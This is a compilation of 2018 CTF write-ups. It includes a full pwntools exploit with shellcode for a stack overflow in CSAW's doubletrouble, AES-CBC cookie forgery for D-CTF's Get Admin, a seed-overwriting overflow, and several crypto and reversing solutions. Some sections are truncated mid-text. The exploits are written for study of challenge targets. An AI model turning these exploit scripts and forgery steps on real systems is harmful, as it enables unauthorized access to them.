```nasm 0x08049527 83ec08 sub esp, 8 0x0804952a 8d85f0fdffff lea eax, dword [local_210h] 0x08049530 50 push eax 0x08049531 8d8310e0ffff lea eax, dword [ebx - 0x1ff0] 0x08049537 50 push eax ; const char *format 0x08049538 e8f3faffff call sym.imp.printf ; int printf(const char *format) 0x0804953d 83c410 add esp, 0x10 0x08049540 83ec0c sub esp, 0xc 0x08049543 8d8314e0ffff lea eax, dword str.How_long: ; 0x804a014 ; "How long: " 0x08049549 50 push eax ; const char *format 0x0804954a e8e1faffff call sym.imp.printf ; int printf(const char *format) 0x0804954f 83c410 add esp, 0x10```
The next thing it does is printing the address of our local variable `local_210h`.Then it asks for how long our input will be.
```nasm 0x08049552 83ec08 sub esp, 8 0x08049555 8d85e4fdffff lea eax, dword [local_21ch] 0x0804955b 50 push eax 0x0804955c 8d831fe0ffff lea eax, dword [ebx - 0x1fe1] 0x08049562 50 push eax ; const char *format 0x08049563 e858fbffff call sym.imp.__isoc99_scanf ; int scanf(const char *format) 0x08049568 83c410 add esp, 0x10 0x0804956b e8d0faffff call sym.imp.getchar ; int getchar(void) 0x08049570 8b85e4fdffff mov eax, dword [local_21ch] 0x08049576 83f840 cmp eax, 0x40 ; '@' ; 64 โญโ< 0x08049579 7e23 jle 0x804959e โ 0x0804957b 83ec08 sub esp, 8 โ 0x0804957e 8b83f0ffffff mov eax, dword [ebx - 0x10] โ 0x08049584 50 push eax โ 0x08049585 8d8324e0ffff lea eax, dword str.Flag:_hahahano._But_system_is_at__d ; 0x804a024 ; "Flag: hahahano. But system is at %d" โ 0x0804958b 50 push eax ; const char *format โ 0x0804958c e89ffaffff call sym.imp.printf ; int printf(const char *format) โ 0x08049591 83c410 add esp, 0x10 โ 0x08049594 83ec0c sub esp, 0xc โ 0x08049597 6a01 push 1 ; 1 ; int status โ 0x08049599 e8f2faffff call sym.imp.exit ; void exit(int status) โ ; CODE XREF from sym.game (0x8049579) โฐโ> 0x0804959e c785e8fdffff. mov dword [local_218h], 0```
It reads a number with scanf, followed by a getchar with the result beingignored. If we input a number greater than 64, it taunts us and tells us theaddress of `system`. Interesting that for this to be possible, `system` must bein the GOT and could therefore be a target for our exploit.
```nasm โฐโ> 0x0804959e c785e8fdffff. mov dword [local_218h], 0 โญโ< 0x080495a8 eb68 jmp 0x8049612 โ ; CODE XREF from sym.game (0x804961e) โญโโ> 0x080495aa 83ec0c sub esp, 0xc โโ 0x080495ad 6a64 push 0x64 ; 'd' ; 100 ; size_t size โโ 0x080495af e8bcfaffff call sym.imp.malloc ; void *malloc(size_t size) โโ 0x080495b4 83c410 add esp, 0x10 โโ 0x080495b7 8985ecfdffff mov dword [str], eax โโ 0x080495bd 83ec0c sub esp, 0xc โโ 0x080495c0 8d8348e0ffff lea eax, dword str.Give_me: ; 0x804a048 ; "Give me: " โโ 0x080495c6 50 push eax ; const char *format โโ 0x080495c7 e864faffff call sym.imp.printf ; int printf(const char *format) โโ 0x080495cc 83c410 add esp, 0x10 โโ 0x080495cf 8b83f8ffffff mov eax, dword [ebx - 8] โโ 0x080495d5 8b00 mov eax, dword [eax] โโ 0x080495d7 83ec04 sub esp, 4 โโ 0x080495da 50 push eax ; FILE *stream โโ 0x080495db 6a64 push 0x64 ; 'd' ; 100 ; int size โโ 0x080495dd ffb5ecfdffff push dword [str] ; char *s โโ 0x080495e3 e868faffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream) โโ 0x080495e8 83c410 add esp, 0x10 โโ 0x080495eb 8bb5e8fdffff mov esi, dword [local_218h] โโ 0x080495f1 8d4601 lea eax, dword [esi + 1] ; 1 โโ 0x080495f4 8985e8fdffff mov dword [local_218h], eax โโ 0x080495fa 83ec0c sub esp, 0xc โโ 0x080495fd ffb5ecfdffff push dword [str] ; const char *str โโ 0x08049603 e8c8faffff call sym.imp.atof ; double atof(const char *str) โโ 0x08049608 83c410 add esp, 0x10 โโ 0x0804960b dd9cf5f0fdff. fstp qword [ebp + esi*8 - 0x210] โโ ; CODE XREF from sym.game (0x80495a8) โโฐโ> 0x08049612 8b85e4fdffff mov eax, dword [local_21ch] โ 0x08049618 3985e8fdffff cmp dword [local_218h], eax ; [0x13:4]=-1 ; 19 โฐโโ< 0x0804961e 7c8a jl 0x80495aa```
Next is the input loop. The C code would look something like this:
```ci = 0;while ( i < how_many ){ void* temp_buffer = malloc(100); printf("Give me: "); fgets(temp_buffer, 100, stdin); i++; stack_buffer[i] = atof(s);}```
We can see that `temp_buffer` leaks memory as it is never freed,but it is not relevant for the challenge.What is more important is where our data is written. It is stored at abuffer on our stack that consists of 64 doubles.
The last part of the `game` function looks something like this (the functionnames were in the debug symbols):
```cprintArray(&how_many, stack_buffer);sum = sumArray(&how_many, stack_buffer);printf("Sum: %f\n", (double)sum);max = maxArray(&how_many, stack_buffer);printf("Max: %f\n", (double)max);min = minArray(&how_many, stack_buffer);printf("Min: %f\n", (double)min);found_idx = findArray(&how_many, stack_buffer, -100.0, -10.0);printf("My favorite number you entered is: %f\n", stack_buffer[found_idx]);sortArray(&how_many, stack_buffer);puts("Sorted Array:");printArray(&how_many, stack_buffer);return result;```
The `printArray`, `sumArray`, `maxArray` and `minArray` all look quite straightforward, but the function that selects the "favorite number" looks strange:
```cint findArray(int *size, double *stack_buffer, double lower_bound, double upper_bound){ int idx = *size; while ( *size < 2 * idx ) { if ( stack_buffer[*size - idx] > lower_bound && upper_bound > stack_buffer[*size - idx] ) return *size - idx; (*size)++; } *size = idx; return 0;}```
This function actually writes back to the original size. And it adds to the sizeif a number is between -10 and -100. It does so by adding 1 to the size for eachnumber until it hits a number in the range. This will be the "favorite number".If it does not encounter a number in that range, the size is reset to theoriginal value.
Let us quickly test our observation:
```bash$ nc pwn.chal.csaw.io 90020xffb38c58How long: 22Give me: 1010Give me: -20-200:1.000000e+011:-2.000000e+01Sum: -10.000000Max: 10.000000Min: -20.000000My favorite number you entered is: -20.000000Sorted Array:0:-2.000000e+011:-2.102842e-232:1.000000e+01```
Yay! If we enter a number in this range, we can change the size of the array.So what is below the array on the stack? When we input 64 numbers and thenextend the size, the binary suddenly starts complaining that a stack smashinghas been detected. Looks like the operation that follows `findArray`, which is`sortArray` took the new length and sorted the stack canary away.
We also know that C stores doubles as 8 byte numbers which have the followingthree parts:
1. Sign bit: 1 bit2. Exponent: 11 bits3. Fraction: 52 bits
Stored in little endian, this looks like this:
```| 1 byte | 1 byte | 1 byte | 1 byte | 1 byte | 1 byte | 1 byte | 1 byte ||ffffffff|ffffffff|ffffffff|ffffffff|ffffffff|ffffffff|eeeeffff|seeeeeee|
s = Sign bite = Exponentf = Fraction```
The first 6 bytes are only used for the fraction, the last two store theexponent and the sign bit.
After some experimenting we concluded that the memory layout of our stack mustlook like this:
```| 1 byte | 1 byte | 1 byte | 1 byte | 1 byte | 1 byte | 1 byte | 1 byte ||ffffffff|ffffffff|ffffffff|ffffffff|ffffffff|ffffffff|eeeeffff|seeeeeee|| -------------------- other stack variables -------------------- || -------------------- ... -------------------- || -------------------- stack_buffer[0] (8 bytes) -------------------- || -------------------- stack_buffer[1] (8 bytes) -------------------- || -------------------- ... -------------------- || -------------------- stack_buffer[62] (8 bytes) -------------------- || -------------------- stack_buffer[63] (8 bytes) -------------------- || ----- empty ---- | ---- empty --- || ----- empty ---- | ---- stack canary (4 bytes) --- || ----- base pointer (4 bytes) ---- | ---- return address (4 bytes) --- |```
We now have an idea on how to pwn this. We need to extend our array by 3 entries.The stack canary needs to stay at the same position, otherwise the stackcheck fails and we loose. We must also overwrite the return address with theaddress of our shellcode, which we can write into the stack buffer. Choosing thevalues for our exponents wisely, we have a sequence of 6 bytes of usableshellcode followed by two bytes reserved for correct sorting of our code. Yes,we need to make sure our shellcode only consists of ascending double values.
But there is one more problem we have to get around: The address of our stackbuffer is a very high 32 bit value (like `0xffebe328`) If we try to convert itinto a double number, we end up with a very highly negative number. This wouldmean that it is going to be sorted to the top of our array.
We thought about this for some time and came up with the following solution:We do not need to return to the stack buffer directly.Instead we can return to another address in the code which leads to a `ret`.We can then insert another return address right behind the first one,which has no restrictions on its value, and let it point to our shellcode.It would of course have been possible to ROP our way to a shell by justinserting an address to code in every second position, but we chose to executeour doubles as shellcode instead.
The shellode to be injected was as follows (`?` marks address immediateswhich are only known at runtime):
```nasmb8 ?? ?? ?? ?? mov eax, addr_of_sh50 push eaxb8 ?? ?? ?? ?? mov eax, got[system]ff d0 call eax
addr_of_sh: "sh\x00"```
Those instructions are at most 5 bytes long. So we have one byte to bridge theexecution to the next double value. This is not enough for a jump instruction,which would take two bytes. But we can just move an arbitrary constant to anyunused register like `ebx`. This only takes 1 byte and uses the following 4bytes as an immediate that is irrelevant to what our shellcode does. The finalshellocde looks like this (`x` marks the parts that will be interpreted asexponent and are therefore not arbitrary):
```nasmb8 ?? ?? ?? ?? mov eax, addr_of_shbb xx xx .. .. mov ebx, ignored50 push eaxbb .. .. xx xx mov ebx, ignoredb8 ?? ?? ?? ?? mov eax, got[system]bb xx xx .. .. mov ebx, ignoredff d0 call eax
addr_of_sh: "sh\x00"```
The `sh\x00` string can be placed below our payload in a seperate double value.
Putting it all together, after our attack runs, the stack looks like this:
```|ffffffff|ffffffff|ffffffff|ffffffff|ffffffff|ffffffff|eeeeffff|seeeeeee|| 1 byte | 1 byte | 1 byte | 1 byte | 1 byte | 1 byte | 1 byte | 1 byte || -------------------- other stack variables -------------------- || -------------------- ... -------------------- | ...| b8 | ?? | ?? | ?? | ?? | bb | xx | xx | stack_buffer[0]| .. | .. | 50 | bb | .. | .. | xx | xx | stack_buffer[1]| b8 | ?? | ?? | ?? | ?? | bb | xx | xx | stack_buffer[2]| .. | .. | ff | d0 | .. | .. | xx | xx | stack_buffer[3]| 's' | 'h' | 00 | .. | .. | .. | xx | xx | stack_buffer[4]| -------------------- ... -------------------- | ...| .. | .. | .. | .. | .. | .. | xx | xx | stack_buffer[63]| .. | .. | .. | .. | .. | .. | xx | xx | stack_buffer[64]| .. | .. | .. | .. | stack canary (4 bytes) | stack_buffer[65]| .. | .. | .. | .. | addr of any `ret` instruction | stack_buffer[66]| addr off stack_buffer[0] | .. | .. | xx | xx | stack_buffer[67]```
As you can see, we are free to insert into the `xx` bytes whatever we wantand the shellcode stays the same. This is very useful as we need our code tobe sorted in this exact order. To do so, we choose ascending exponents at thestart and very high exponents at the last number. Now we run the exploitmultiple times and try to get lucky with the stack canary. Because the value ofthe stack canary is random, we have only a slim chance of having it being sortedinto the correct slot.
After about 80-100 tries, we finally got lucky and got a shell. We then justhad to print the flag via `cat flag.txt`.
## Files
The attack script could have been written with more emphasis on readability,but during a CTF this is often times not possible.
### exp.py
```pythonfrom pwn import *import structimport binascii
context.terminal = ["gnome-terminal", "--", "bash", "-c"]
#context.log_level = 'info'
count = 64
def float_bytes(bs, idx): assert 1 <= idx <= 0xffe return bs.ljust(6, b"\x90") + (idx << 4).to_bytes(2, 'little')
def float_unpack(bs): return struct.unpack("d", bs)[0]
def float_pack(bs): return struct.pack("d", bs)
def float_fmt(fl): return "{:.90e}".format(fl)
def quick_fmt(bs, idx): print("formatting: {}".format(bs)) return float_fmt(float_unpack(float_bytes(bs, idx)))
def send_arr_size(r, size): r.readuntil('How long: ') r.sendline(size)
def send_item(r, it, state): print("sending item {}: {}".format(state["count"], it)) state["count"] += 1 r.readuntil('Give me: ') r.sendline(it) r.readline()
def send_rest(r, it, state): while state["count"] < 64: send_item(r, it, state)
def parse_response(r): sorted = False orig = {} after = {} try: while True: line = r.readline() print("line is "+str(line)) if line == b"Sorted Array:\n": sorted = True continue sp = line.split(b":") if sp[0] == b"*** stack smashing detected ***": return (False, orig, after) if len(sp) < 2: break if not sorted: orig[sp[0]] = sp[1] else: after[sp[0]] = sp[1] except EOFError: pass return (True, orig, after)
uhex = binascii.unhexlify
while True: try: myreturnop = 0x0804984F # just some address in the code that contains `ret` r = remote("pwn.chal.csaw.io", 9002) #r = process("./doubletrouble", env = {}) #r = gdb.debug("./doubletrouble", "break *0x0804984F\nc", env = {}) stack_addr = int(r.readline(), 16) print("stack addr: 0x{:08x}".format(stack_addr))
#gdb.attach(r) in_range = "-99" oo_range = quick_fmt(b"\xCC"*6, 0xff8) oo_range = "-1e+306"
state = {"count": 0}
retptr = float_fmt(float_unpack((myreturnop).to_bytes(4, 'little').rjust(8, b"\x90"))) stage2 = float_fmt(float_unpack(stack_addr.to_bytes(4, 'little') + (myreturnop + 0x01000000).to_bytes(4, 'little'))) print("retptr: " + retptr)
addr_of_sh = stack_addr + 8 * 4 addr_of_system = 0x0804BFF0
send_arr_size(r, str(count)) for i in range(4): send_item(r, oo_range, state) send_item(r, in_range, state)
send_item(r, retptr, state) send_item(r, stage2, state)
# "mov eax, addr_of_sh" "mov ebx, ignored" send_item(r, quick_fmt(uhex("b8") + addr_of_sh.to_bytes(4, 'little') + uhex("bb"), 0xffd), state) # "ignored" "push eax" send_item(r, quick_fmt(uhex("ffff" + "50" + "bb" + "ffff"), 0xffc), state) # "mov eax, addr_of_system" "mov ebx, ignored" send_item(r, quick_fmt(uhex("b8") + addr_of_system.to_bytes(4, 'little') + uhex("bb"), 0xffb), state) # "ignored" "call eax" send_item(r, quick_fmt(uhex("ffff" + "8b00" + "ffd0" ), 0xffa), state) send_item(r, quick_fmt(b"sh\x00", 0xff9), state) send_rest(r, oo_range, state)
r.sendline("cat flag.txt")
success, orig, after = parse_response(r) print("done parsing") if not success: r.close() continue
for i, e in after.items(): num = float(e) form = binascii.hexlify(float_pack(num)) print("{:04}: {} ({})".format(int(i), form, num))
r.interactive() break
except Exception as e: print(e)``` |
# Collusion (Crypto, 500)Author: fxrh
**Note: As LaTex (aka those math symbols) do not work on github, go [here](https://md.darmstadt.ccc.de/collusion) for a version with proper math symbols**
Collusion was a Crypto-Challenge at the Qualification Round of CSAW CTF 2018.
We were given five files:* ```common.go```, a Go implementation of a crypto system* ```generate_challenge.go```, which generated the challenge given to us* ```bobs-key.json```, Bob's private key, and ```carols-key.json```, Carol's private key* ```message.json```, a message encrypted for Alice
## The Crypto System
Collusion uses an identity-based encryption, in which a message can be encrypted for a Person using for example their name. For this, a trusted third party must exist which generates a master private key and distributes private keys to all parties.
In this case, the trusted third party is called a Group. On creation, it generates two primes $P$ and $Q$, calculates $N=P\cdot Q$ (so far, standard RSA) and generates a $x |
## Solution
So to be able to quickly see the relationship between the plaintext and the ciphertext, we simulate the encryption and we get the following output
```0 {'m0', 'm1', 'k0'}1 {'k1', 'm0', 'k0'}2 {'k2', 'k1', 'm1'}3 {'k3', 'm1', 'k0', 'k2', 'm0'}4 {'k3', 'k4', 'k0', 'k1', 'm0'}5 {'k5', 'm1', 'k4', 'k2', 'k1'}6 {'k5', 'm1', 'k3', 'k0', 'k6', 'k2', 'm0'}7 {'k3', 'k4', 'k6', 'k0', 'k1', 'm0', 'k7'}8 {'k5', 'm1', 'k4', 'k8', 'k2', 'k1', 'k7'}9 {'m1', 'k6', 'k8', 'k0', 'k2', 'm0', 'k3', 'k5', 'k9'}```
So in this case, our cipher text will just be
```c0 = m1 ^ (k5 ^ k4 ^ k8 ^ k2 ^ k1 ^ k7)c1 = m0 ^ m1 ^ (k6 ^ k8 ^ k0 ^ k2 ^ k3 ^ k5 ^ k9)```Let us define `final_key0` and `final_key1````final_key0 = (k5 ^ k4 ^ k8 ^ k2 ^ k1 ^ k7)final_key1 = (k6 ^ k8 ^ k0 ^ k2 ^ k3 ^ k5 ^ k9)```
We can define the relationship of the plaintext, ciphertext and finalkeys completely.```c0 = m1 ^ final_key0c1 = m0 ^ m1 ^ final_key1```
So that means we can easily get the final_keys from the plaintext and Ciphertext```final_key0 = c0 ^ m1final_key1 = c1 ^ m1 ^ m0```
And we can use this final_keys to get the flag from the secret key
```secret_0 = flag_1 ^ final_key0secret_1 = flag_0 ^ flag_1 ^ final_key1
flag_1 = secret_0 ^ final_key0flag_0 = secret_key ^ final_key1 ^ flag_1```
Although this is only true if you have `H = 10`. Depending on what H, the the relationship between the plaintext, ciphertext and final_keys changes slightly. There are actually 3 forms which you can try all 3 to get the flag.
```secret_0 = flag_1 ^ final_key0secret_1 = flag_0 ^ flag_1 ^ final_key^1
secret_0 = flag_0 ^ final_key0secret_1 = flag_1 ^ final_key^1
secret_0 = flag_0 ^ flag_1 ^ final_key0secret_1 = flag_0 ^ final_key^1```
And eventually you'll get the flag `# TMCTF{Feistel-Cipher-Flag-TMCTF2018}`
__For implementation details please see the link__ |
# Ilovebees
>I stumbled on to this strange website. It seems like a website made by a flower enthusiast, but it appears to have been taken over by someone... or something.Can you figure out what it's trying to tell us?https://static.icec.tf/iloveflowers/
## The setup
Tone took me longer than I would have wanted. The website is a mess, there is a countdown stemming from some simple javascript. It counts down until sometime in 2025. There are also a bunch of broken links and the source code is an absolute disaster. Googling a bit, you end up on a very similar website, called I love flowers, which was actually a guerilla marketing campaign of sort for Halo back in the 2000s. Reading up on it, there are several mentions of steganography which leads to think there might be something hidden in the pictures.
## The solving
There are several pictures on the site: some jpgs and a couple of gifs. None reveal anything of the ordinary. That is until you look up and realize the favicon is also a gif. Strange. Downloading it and opening it in a hexeditor or running strings on it reveals a bunch of strange names like libc and stuff that just looks out of place.
Saving as PNG yields 109 individual frames. Opening the first in hex editor we get something very familiar in the first PLTE chunk: 'ELF'. Could it be? I wrote the following quick and dirty script:
```pythonimport png
arr = []for i in range(110): tmp = 'favicon1-'+str(i)+'.png' im = png.Reader(tmp)
for c in im.chunks(): if c[0] == 'PLTE': arr.append(c[1]) f = open('new','wb')f.write(''.join(arr))```
It gives us a nice ELF. It probably prints out the flag but that would have been overkill since the flag is actually stored inside as a string. And done. |
Orignal link :https://github.com/d4rkvaibhav/IceCTF-2018/tree/master/Reverse
In this problem we have to find the password of the file.Software used:
ltrace(Linux) : preinstalled in Linux (Usage : ltrace <filename>)
python2
pwn library(python2)
Note : You have to install pwn library to run the python script. |
# Get Admin - 220
This is a very unexpected gig for me. However, I'm busy with other projects so can you please give me a hand to test this. For free, of course. :-)
Files: [https://dctf.def.camp/dctf-18-quals-81249812/get-admin.zip](https://dctf.def.camp/dctf-18-quals-81249812/get-admin.zip)
Target: [https://admin.dctfq18.def.camp/](https://admin.dctfq18.def.camp/)
## Solution
### OverviewThe website is pretty basic, it lets you register an account with your name, password, email and lets you login. If your `id` is `1` (i.e. if you are `admin`), it prints the flag else says `Try Harder` (for all other users). There's an option to update your profile if needed and an option to logout.
When we login to the website, it sets a cookie in our browser which is `AES-128-CBC` encrypted and contains our `id` (automatically set at the time of registration), `username`and `email` along with the `CRC-32 checksum`. Along with this encrypted data, it contains a `length` in the end which gives the length of the decrypted plaintext cookie. Odd. This was an unnecessary piece of information for this encryption/decryption scheme. We'll see later how this was used to exploit the decryption.
### Encryption of the CookieLet's get to specifics. As soon as we login, the following cookie is set in `index.php`:```phpsetcookie('user',encryptCookie([ 'id' => $userid, 'username' => $_POST['username'], 'email' => $row['email'], ]), time()+60*60*24*30);```
Here's `encryptCookie()` function from `config.php` along with its helper functions:```phpfunction encryptCookie($arr) { $cookie = compress($arr); $arr['checksum'] = crc32($cookie); return encrypt(compress($arr), AES_KEY, AES_IV);}
function compress($arr) { return implode('รท', array_map(function ($v, $k) { return $k.'ยก'.$v; }, $arr, array_keys($arr) ));}
function encrypt($plaintext, $key, $iv) { $length = strlen($plaintext); $ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv); return base64_encode($ciphertext) . sprintf('%06d', $length);}```
`compress()` simply serializes the array into a string where key-value pairs are separated by a `รท` and inserts `ยก` between each key and value. For example if `id = 1337, username = testac, email = [emailย protected]` then `compress()` returns `idยก1337รทusernameยกtestacรทemailยก[emailย protected]`.
`encryptCookie()` takes `id`, `username` and `email` as inputs, calculates the `CRC-32` checksum of the serialized cookie, appends it to the cookie again. Now we get: `idยก1337รทusernameยกtestacรทemailยก[emailย protected]รทchecksumยก2160329226`
This string is then encrypted with `AES-128-CBC` and the length of the above string `70` (`ยก` and `รท` are counted as length `2` each) padded with `0s` is appended to the resulting `base64` string. So this is our final cookie:`Rx5R751nNLFTDmwdj248byPKYFCReDmb8cTlK8m53X3TLG5WpUwYv+8zN0Ur2YVZ0q7giK51kNvFRjr36elyKiunyw6aPYR1BAE9dF6+7KU=000070`
### Decryption of the Cookie
In `index.php`, if the cookie is already set but `_SESSION['userid']` is not, it tries to decrypt the cookie and if the `id` in it is greater than `0`, sets the `_SESSION['userid']` variable and redirects us to `admin.php`. Here's `decryptCookie()` and its helper function from `config.php`:```phpfunction decryptCookie($cypher) { return decompress(decrypt($cypher, AES_KEY, AES_IV));}
function decrypt($ciphertext, $key, $iv) { $length = intval(substr($ciphertext, -6, 6)); $ciphertext = substr($ciphertext, 0,-6); $output = openssl_decrypt(base64_decode($ciphertext), 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv); if($output == FALSE) { echo('Decryption error (0).'); die(); } return substr($output, 0, $length);}```
`decryptCookie()` takes the encrypted cookie, separates the `length` from the ciphertext, decrypts the cipher and returns only the first `length` characters of the decrypted cookie. Mhmm. This is then passed to `decompressed()`:
```phpfunction decompress($cookie) { if(preg_match('/[^\x00-\x7F]+\ *(?:[^\x00-\x7F]| )*/im',$cookie, $m) == 0) { echo('Decryption error (1).'); return false; }
$t = explode("รท", $cookie);
$arr = []; foreach($t as $el) { $el = explode("ยก", $el); $arr[$el[0]] = $el[1]; }
if(!isset($arr['checksum'])) { echo('Decryption error (2).'); return false; }
$checksum = intval($arr['checksum']); unset($arr['checksum']); $cookie = compress($arr); if($checksum != crc32($cookie)) { echo('Decryption error (3).'); return false; }
return $arr;}```
The `decrypt()` function:- Checks if the decrypted cookie matches the regex- Constructs the array from its serialized form- Extracts the expected CRC-32 checksum- Computes the CRC-32 checksum of the remaining data- Checks if the two checksums match- Returns the array containing the user data
This is then given back to `index.php` and it then redirects us to `admin.php`. There, if our `id == 1`, the flag is printed but as we are regular users, our `id > 1`.
### The Vulnerability
During registration, the website put no restrictions on the characters entered in the `email` field. Think what happens if I put my email as `[emailย protected]รทidยก1`.My cookie would then be: `idยก1337รทusernameยกtestacรทemailยก[emailย protected]รทidยก1` along with its checksum. While decryption, due to the way `decompress()` is constructing the array, the array would be `idยก1รทusernameยกtestacรทemailยก[emailย protected]` as the latter `id` replaces the value of the former one. This is exactly what we want!
But unfortunately the `CRC-32` checksum fails as the expected checksum (`checksum=732808468`) would be of the original data with 2 `id`s whereas the resulting one (`checksum=3870551952`) is of the data with only 1 `id`. Let's inject the checksum too then!
Modifying our email to include the checksum of the data with `id=1`, our new cookie will be: `idยก1337รทusernameยกtestacรทemailยก[emailย protected]รทidยก1รทchecksumยก3870551952`
This will then be appended with its checksum giving: `idยก1337รทusernameยกtestacรทemailยก[emailย protected]รทidยก1รทchecksumยก3870551952รทchecksumยก2104704402`
But now, our checksum gets overwritten by the new one just like we overwrote the previous value of `id`. This is where the `length` comes into picture! If we reduce the `length` only upto the first checksum (i.e. the first `77` characters), the `decompress()` function thinks that's the original checksum and decrypts the cookie without any errors!
That is all we need to do to get `ADMIN ACCESS`!
1. Register with the following details: - username: `testac` - email: `[emailย protected]รทidยก1รทchecksumยก3870551952`2. Login and get your cookie (will result in `Decryption Error (3)`)3. Logout, change the length in the cookie to `000077` and set the cookie4. Navigate to admin.php
And we have the flag!

**`DCTF{4EF853DFC818AFEC39497CD1B91625F9E6E19D34D8E43E56722026F26A95F13E} `** |
- [Ransomware](#ransomware)- [Memsome](#memsome)- [Get Admin](#get-admin)
# Ransomware
I got the first blood, it's the easiest one.
decompile the .pyc ```pyimport stringfrom random import *import itertools
def caesar_cipher(buf, password): password = password * (len(buf) / len(password) + 1) return ('').join((chr(ord(x) ^ ord(y)) for x, y in itertools.izip(buf, password)))
f = open('./youfool!.exe', 'r')buf = f.read()f.close()allchar = string.ascii_letters + string.punctuation + string.digitspassword = ('').join((choice(allchar) for OOO0OO0OO00OO0000 in range(randint(60, 60))))buf = caesar_cipher(buf, password)f = open('./D-CTF.pdf', 'w')buf = f.write(buf)f.close()```
It's a reapeating xor cipher, can be cracked by frequency analysis.
Got a almost correct key by frequency analysis,then try to refine it with PDF file format (something like `/Length`, `num num obj`, `/Format`).
```pyfrequency_analysis_key = [0x3a,0x50,0x2d,0x40,0x75,0x1a,0x4c,0x22,0x59,0x31,0x4b,0x24,0x5b,0x58,0x29,0x66,0x67,0x5b,0x39,0x22,0x2e,0x34,0x35,0x59,0x71,0x39,0x69,0x3e,0x65,0x56,0x29,0x3c,0x30,0x43,0x3a,0x28,0x27,0x71,0x34,0x6e,0x02,0x5b,0x68,0x47,0x64,0x2f,0x45,0x65,0x58,0x2b,0xbc,0x37,0x2c,0x32,0x4f,0x22,0x2b,0x3a,0x5b,0x77]
key = [58, 80, 45, 64, 117, 83, 76, 34, 89, 49, 75, 36, 91, 88, 41, 102, 103, 91, 124, 34, 46, 52, 53, 89, 113, 57, 105, 62, 101, 86, 41, 60, 48, 67, 58, 40, 39, 113, 52, 110, 80, 91, 104, 71, 100, 47, 69, 101, 88, 43, 69, 55, 44, 50, 79, 34, 43, 58, 91, 50]```
# Memsome
A C++ program, read the secret_file and do rot13 on it.Then do base64->md5->md5 to every char of rot13ed-key , every result have to match with:
```pychunk =["98678de32e5204a119a3196865cc7b83", "e5a4dc5dd828d93482e61926ed59b4ef", "68e8416fe8d00cca1950830c707f1e22", "226c14d44cd4e179b24b33a4103963c2", "0b3dfc575614989f78f220e037543e55", "75ac02c02f1f132e6c7314cad02f17cd",...]```
So, just brute force byte by byte:
```pyfrom base64 import b64encodeimport hashlibrot13_key = ""for i in range(len(chunk)): for test in range(256): if hashlib.md5(hashlib.md5(b64encode(chr(test))).hexdigest()).hexdigest() == chunk[i]: rot13_key += chr(test) break#rot13_key = QPGS{9nn149q1n8n825s582sn7684713pn64rp77ss33oqn71qr76o51o0n8s1026303p}
#key = DCTF{9aa149d1a8a825f582fa7684713ca64ec77ff33bda71de76b51b0a8f1026303c}```
# Get Admin
The format of cookie is
`AES(idยกvalueรทusernameยกvalueรทemailยกvalueรทchecksumยกvalue)` + `length of plaintext`
Like :
`IC5LGPMj%2Bts5ygEGoQB3vrmYzrMpafvt3vBEMK86SnThpfr6YnjnKM%2B%2BjOKNino3OfRpsUrGLrV7EUYgbh1Vud7rso1Ubv3Z8oQH65gxKJM4tTePlBZ8FFvnNsyZ%2Fhqp000086`
We have to make our id equals to `1` to become admin, so just register with username `aaaaรทidยก1รทchecksumยกXXXXXXXXX`, then the whole token would become `idยก????รทusernameยกaaaaรทidยก1รทchecksumยกXXXXXXXXXรทemailยกvalueรทchecksumยกvalue`
Now, because we can control the length of plaintext, just set it to the length of `idยก????รทusernameยกaaaaรทidยก1รทchecksumยกXXXXXXXXX`, we can overwrite the `id`,thus, the checksum is `crc32(idยก1รทusernameยกaaaa)` , the username should be `aaaaรทidยก1รทchecksumยก1319112219`.
cookie:```IC5LGPMj%2Bts5ygEGoQB3vrmYzrMpafvt3vBEMK86SnThpfr6YnjnKM%2B%2BjOKNino3OfRpsUrGLrV7EUYgbh1Vud7rso1Ubv3Z8oQH65gxKJM4tTePlBZ8FFvnNsyZ%2Fhqp000052``` |
## About
When the challenge starts, it allows you to set two variables, one being the initial nodewhich is +40 bytes of the leak, and a second node, which is +8 bytes after the leak. We canwrite up to 15 bytes of data, which gives us a limited number of options to write shellcode.
The binary itself has RWX permissions but implements PIE which prevents us from attempting ROP.However, when returning you'll notice the RDI & RDX registers are already preset to a. RDI => 0; b. RSI => (ARBITRARY STACK ADDRESS); c. RDX => 0;
Combining this with RWX permissions + read() we should be able to write shellcode and jump to it,all within an 15 bytes.
I've written some simple shellcode under set_variables, which zeros out rax to have the read SYSCALL number,sets RDX to our shellcode size, calls the SYSCALL, then jumps to the stack address thats been written into.
Solution [here](https://gist.github.com/realoriginal/6b59844f8da27c5d06a0c43be6c80aaa) |
# Lucky?An up-to-date version is available [on my github](https://github.com/ajabep/RandomWriteups/tree/master/2018/D-CTF/lucky). If I maked a mistake here, it will probably forget that I pushed this here, and forget to fix it.
Points: 50 Solves: 139
## Description
```How lucky are you?Target: 167.99.143.206 65031Bin: https://dctf.def.camp/dctf-18-quals-81249812/luckyAuthor: Lucian Nitescu```
## Files
* [lucky](https://github.com/ajabep/RandomWriteups/blob/master/2018/D-CTF/lucky/lucky), the binary given by organizers* [lucky.i64](https://github.com/ajabep/RandomWriteups/blob/master/2018/D-CTF/lucky/lucky.i64), my IDA database, after reversing it* [resp.c](https://github.com/ajabep/RandomWriteups/blob/master/2018/D-CTF/lucky/resp.c), my solution* [poc.png](https://github.com/ajabep/RandomWriteups/blob/master/2018/D-CTF/lucky/poc.png), screenshot of my solution
## Solution
The binary is a little game which, when the user win, will print the flag. Thegame aims to guess a random number.
After observation, the binary will:
1. Choose a random seed from `/dev/urandom` and initialize the PRNG with it.2. Take a pseudo-random seed, from `rand()`.3. Copy the username from a C++ string to a `char[]`.4. Initialize the PRNG with the pseudo-random seed, taken at step 2.5. Play the game.
Of course, the copy is very suspicious. Of course, the creator of this challengeput a buffer overflow at theses steps. And this buffer overflow allow to rewritethe pseudo-random seed after 700 chars.
So, we can choose our own seed.
Lets start attacking it.
First, we choose a username, with 700 random chars followed by `AAAA`. As it,the chosen seed will be `0x41414141`. For [resp.c](https://github.com/ajabep/RandomWriteups/blob/master/2018/D-CTF/lucky/resp.c), I choose a De Bruijnsequence.
```cputs(โฆ"AAAA");```
Then, we must initialize our seed with the same seed of the server.
```csrand(0x41414141);```
And we just have to send the 100 pseudo-random number get with `rand()`.
```cfor (i = 0 ; i < NB_CHALLS ; ++i) { printf("%d\n", rand());}```
Result:
 |
